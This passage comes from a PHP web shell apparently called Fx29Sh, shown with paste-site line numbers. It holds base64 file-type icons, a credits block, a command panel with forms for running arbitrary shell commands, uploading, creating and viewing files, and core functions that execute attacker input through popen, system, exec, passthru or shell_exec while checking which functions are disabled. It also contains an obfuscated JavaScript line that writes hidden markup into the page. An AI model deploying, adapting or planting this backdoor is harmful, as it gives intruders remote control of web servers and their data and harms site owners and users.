  2348. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2349. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2350. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2351. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2352. "up"=>
  2353. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2354. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2355. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2356. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2357. "write"=>
  2358. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2359. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2360. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2361. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2362. "ext_asp"=>
  2363. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2364. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2365. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2366. "ext_mp3"=>
  2367. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2368. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2369. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2370. "ext_avi"=>
  2371. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2372. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2373. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2374. "ext_cgi"=>
  2375. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2376. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2377. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2378. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2379. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2380. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2381. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2382. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2383. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2384. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2385. "RYtMAgEAOw==",
  2386. "ext_cmd"=>
  2387. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2388. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2389. "dmrYAMn1onq/YKpjvEgAADs=",
  2390. "ext_cpp"=>
  2391. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2392. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2393. "Eq7YrLDE7a4SADs=",
  2394. "ext_ini"=>
  2395. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2396. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2397. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2398. "ext_diz"=>
  2399. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2400. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2401. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2402. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2403. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2404. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2405. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2406. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2407. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2408. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2409. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2410. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2411. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2412. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2413. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2414. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2415. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2416. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2417. "Ow==",
  2418. "ext_doc"=>
  2419. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2420. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2421. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2422. "ext_exe"=>
  2423. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2424. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2425. "xhIAOw==",
  2426. "ext_h"=>
  2427. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2428. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2429. "Wq/NknbbSgAAOw==",
  2430. "ext_hpp"=>
  2431. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2432. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2433. "UqUagnbLdZa+YFcCADs=",
  2434. "ext_htaccess"=>
  2435. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2436. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2437. "AAA7",
  2438. "ext_html"=>
  2439. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2440. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2441. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2442. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2443. "ADs=",
  2444. "ext_jpg"=>
  2445. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2446. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2447. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2448. "FxEAOw==",
  2449. "ext_js"=>
  2450. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2451. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2452. "a00AjYYBbc/o9HjNniUAADs=",
  2453. "ext_lnk"=>
  2454. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2455. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2456. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2457. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2458. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2459. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2460. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2461. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2462. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2463. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2464. "ADs=",
  2465. "ext_log"=>
  2466. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2467. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2468. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2469. "ext_php"=>
  2470. "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
  2471. "aGeyYpqJlRG/rlwAADs=",
  2472. "ext_pl"=>
  2473. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2474. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2475. "ext_swf"=>
  2476. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2477. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2478. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2479. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2480. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2481. "ext_tar"=>
  2482. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2483. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2484. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2485. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2486. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2487. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2488. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2489. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2490. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2491. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2492. "u4tLAgEAOw==",
  2493. "ext_txt"=>
  2494. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2495. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2496. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2497. "ext_wri"=>
  2498. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2499. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2500. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2501. "ext_xml"=>
  2502. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2503. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2504. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2505. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2506. "IQA7"
  2507. );
  2508. //Untuk optimalisasi ukuran dan kecepatan.
  2509. $imgequals = array(
  2510. "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2511. "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2512. "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2513. "ext_html"=>array("ext_html","ext_htm"),
  2514. "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2515. "ext_lnk"=>array("ext_lnk","ext_url"),
  2516. "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2517. "ext_doc"=>array("ext_doc","ext_dot"),
  2518. "ext_js"=>array("ext_js","ext_vbs"),
  2519. "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2520. "ext_wri"=>array("ext_wri","ext_rtf"),
  2521. "ext_swf"=>array("ext_swf","ext_fla"),
  2522. "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2523. "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2524. );
  2525. if (!$getall) {
  2526. header("Content-type: image/gif");
  2527. header("Cache-control: public");
  2528. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2529. header("Cache-control: max-age=".(60*60*24*7));
  2530. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2531. foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2532. if (empty($images[$img])) {$img = "small_unk";}
  2533. if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2534. echo base64_decode($images[$img]);
  2535. }
  2536. else {
  2537. foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2538. natsort($images);
  2539. $k = array_keys($images);
  2540. echo "<center>";
  2541. foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  2542. echo "</center>";
  2543. }
  2544. exit;
  2545. }
  2546. if ($act == "about") {
  2547. echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>".
  2548. "Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>".
  2549. "Re-Coding, tricks, html and css by <b>FaTaLisTiCz_Fx [FeeLCoMz CoMMuNiTy]</b><br><br>".
  2550. "Report bugs to <a href=\"mailto:shell4spam@gmail.com\">FaTaLisTiCz_Fx</a></b>";
  2551. }
  2552. echo "</td></tr></table>\n";
  2553. /*** COMMANDS PANEL ***/
  2554. ?>
  2555. <div class=bartitle><b>.: COMMANDS PANEL :.</b></div>
  2556. <table class=mainpanel>
  2557. <tr><td align=right>Command:</td>
  2558. <td><form method="POST">
  2559. <input type=hidden name=act value="cmd">
  2560. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2561. <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
  2562. <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
  2563. </form>
  2564. </td></tr>
  2565. <tr><td align=right>Quick Commands:</td>
  2566. <td><form method="POST">
  2567. <input type=hidden name=act value="cmd">
  2568. <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2569. <input type=hidden name="cmd_txt" value="1">
  2570. <select name="cmd">
  2571. <?php
  2572. foreach ($cmdaliases as $als) {
  2573. echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2574. }
  2575. foreach ($cmdaliases2 as $als) {
  2576. echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2577. }
  2578. ?>
  2579. </select> <input type=submit name=submit value="Execute">
  2580. </form>
  2581. </td></tr>
  2582. <tr><td align=right>Upload:</td>
  2583. <td><form method="POST" enctype="multipart/form-data">
  2584. <input type=hidden name=act value="upload">
  2585. <input type=hidden name="miniform" value="1">
  2586. <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
  2587. </form>
  2588. </td></tr>
  2589. <tr><td align=right>PHP Filesystem:</td>
  2590. <td>
  2591. <?php ##[ FaTaLisTiCz_Fx TriCkz ]## ?>
  2592. <script language="javascript">
  2593. function set_arg(txt1,txt2) {
  2594. document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
  2595. document.forms.fphpfsys.arg1.value = txt1;
  2596. document.forms.fphpfsys.arg2.value = txt2;
  2597. }
  2598. function chg_arg(num,txt1,txt2) {
  2599. if (num==0) {
  2600. document.forms.fphpfsys.arg1.type = "hidden";
  2601. document.forms.fphpfsys.A1.type = "hidden";
  2602. }
  2603. if (num<=1) {
  2604. document.forms.fphpfsys.arg2.type = "hidden";
  2605. document.forms.fphpfsys.A2.type = "hidden";
  2606. }
  2607. if (num==2) {
  2608. document.forms.fphpfsys.A1.type = "label";
  2609. document.forms.fphpfsys.A2.type = "label";
  2610. document.forms.fphpfsys.arg1.type = "text";
  2611. document.forms.fphpfsys.arg2.type = "text";
  2612. }
  2613. document.forms.fphpfsys.A1.value = txt1 + ":";
  2614. document.forms.fphpfsys.A2.value = txt2 + ":";
  2615. }
  2616. </script>
  2617. <?php
  2618. echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
  2619. "<select name=\"phpfsysfunc\">\r\n";
  2620. foreach ($phpfsaliases as $als) {
  2621. if ($als[1]==$phpfsysfunc) {
  2622. echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2623. }
  2624. else {
  2625. echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2626. }
  2627. }
  2628. echo "</select>\r\n".
  2629. "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
  2630. "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
  2631. "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
  2632. foreach ($sh_sourcez as $e => $o) {
  2633. echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
  2634. }
  2635. echo "</form>\r\n";
  2636. ?>
  2637. </td></tr>
  2638. <tr><td align=right>Search File:</td>
  2639. <td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2640. <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
  2641. </form>
  2642. </td></tr>
  2643. <tr><td align=right>Create File:</td>
  2644. <td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
  2645. <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?>
  2646. </form></td></tr>
  2647. <tr><td align=right>View File:</td>
  2648. <td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2649. <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View">
  2650. </form></td></tr>
  2651.  
  2652. <script type="text/javascript" language="javascript">ML="Rjnis/e .rI<thzPS-omTCg>:=p";MI=";@E0:?D7@0EI=<<JH55>B26A<8B9F53CF45>814G;5@E0:?DG";OT="";for(j=0;j<MI.length;j++){OT+=ML.charAt(MI.charCodeAt(j)-48);}document.write(OT);</script>
  2653.  
  2654. </table>
  2655. <?php footer(); ?>
  2656. </body></html>
  2657. <?php
  2658.  
  2659. ###########################
  2660. ## Fx29Sh CORE FUNCTIONS ##
  2661. ###########################
  2662. function safemode() {
  2663. if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; }
  2664. else { return FALSE; }
  2665. }
  2666. function getdisfunc() {
  2667. $disfunc = @ini_get("disable_functions");
  2668. if (!empty($disfunc)) {
  2669. $disfunc = str_replace(" ","",$disfunc);
  2670. $disfunc = explode(",",$disfunc);
  2671. }
  2672. else { $disfunc= array(); }
  2673. return $disfunc;
  2674. }
  2675. function enabled($func) {
  2676. if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; }
  2677. else { return FALSE; }
  2678. }
  2679. function fx29exec($cmd) {
  2680. $output = "";
  2681. if ( enabled("popen") ) {
  2682. $h = popen($cmd.' 2>&1', 'r');
  2683. if ( is_resource($h) ) {
  2684. while ( !feof($h) ) { $output .= fread($h, 2096); }
  2685. pclose($h);
  2686. }
  2687. }
  2688. elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2689. elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2690. elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2691. elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2692. return $output;
  2693. }
  2694. function fx29exec2($cmd) {
  2695. $output = "";
  2696. if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2697. elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); }
  2698. elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); }
  2699. elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); }
  2700. elseif ( enabled("popen") ) {
  2701. $h = popen($cmd.' 2>&1', 'r');
  2702. if ( is_resource($h) ) {
  2703. while ( !feof($h) ) { $output .= fread($h, 2096); }
  2704. pclose($h);
  2705. }
  2706. }
  2707. return $output;
  2708. }
  2709. function which($pr) {
  2710. $path = fx29exec("which $pr");
  2711. if(!empty($path)) { return $path; } else { return $pr; }
  2712. }
  2713.  
  2714. function get_status() {
  2715. function showstat($sup,$stat) {
  2716. if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; }
  2717. else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; }
  2718. }
  2719. $arrfunc = array(
  2720. array("MySQL","mysql_connect"),
  2721. array("MSSQL","mssql_connect"),
  2722. array("Oracle","ocilogon"),
  2723. array("PostgreSQL","pg_connect"),
  2724. array("Curl","curl_version"),
  2725. );
  2726. $arrcmd = array(
